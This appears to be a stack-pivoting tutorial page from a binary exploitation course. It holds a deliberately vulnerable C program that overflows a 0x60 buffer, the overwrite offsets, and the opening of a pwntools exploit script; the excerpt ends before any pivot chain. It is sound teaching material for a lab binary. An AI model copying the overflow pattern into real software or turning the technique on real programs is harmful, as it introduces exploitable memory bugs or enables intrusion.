# Exploitation

## Source

{% file src="<https://349224153-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MEwBGnjPgf263kl5vWP%2Fuploads%2F9jUseYSlKh05zoSMc0Gp%2Fstack_pivoting.zip?alt=media&token=e61c814e-b0cd-439f-9631-cb2387f1bb2c>" %}

```c
// gcc source.c -o vuln -no-pie
#include <stdio.h>

void winner(int a, int b) {
    if(a == 0xdeadbeef && b == 0xdeadc0de) {
        puts("Great job!");
        return;
    }
    puts("Whelp, almost...?");
}

void vuln() {
    char buffer[0x60];
    printf("Try pivoting to: %p\n", buffer);
    fgets(buffer, 0x80, stdin);
}

int main() {
    vuln();
    return 0;
}
```

It's fairly clear what the aim is - call `winner()` with the two correct parameters. The `fgets()` means there's a limited number of bytes we can overflow, and it's not enough for a regular ROP chain. There's also a **leak** to the start of the buffer, so we know where to set RSP to.

We'll try two ways - using `pop rsp`, and using `leave; ret`. There's no `xchg` gadget, but it's virtually identical to just popping RSP anyway.

Since I **assume** you know how to calculate padding, I'll tell you there's 96 until we overwrite stored RBP and 104 (as expected) until stored RIP.

### Basic Setup

Just to get the basics out of the way, as this is common to both approaches:

```python
from pwn import *

elf = context.binary = ELF('./vuln')
p = process()

p.recvuntil('to: ')
buffer = int(p.recvline(), 16)
log.success(f'Buffer: {hex(buffer)}')
```
